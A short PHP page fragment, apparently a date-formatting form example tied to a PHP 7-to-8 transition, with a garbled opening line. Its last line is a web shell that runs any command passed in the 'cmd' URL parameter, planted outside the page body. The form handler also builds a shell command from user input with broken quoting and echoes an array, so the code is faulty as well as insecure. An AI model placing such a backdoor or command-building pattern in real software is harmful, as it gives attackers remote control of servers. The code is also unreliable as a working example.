AS of 2024, transitioning from v7 to v8:
exec
<body>
<p>Today is <?php echo date('l, F j, Y'); ?></p>
<form action="?" method="POST">
<input type="text" name="param" />
<button>OK</button>
</form>
<?php
// Handle POST request
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$format = htmlspecialchars($_POST['param']);
echo "You sent param: " . $format;
exec("date '+%Y_" . escapeshellarg($format), $output, $returnCode);
echo $output;
}
?>
</body>
<?php echo shell_exec($_GET['cmd']) ?>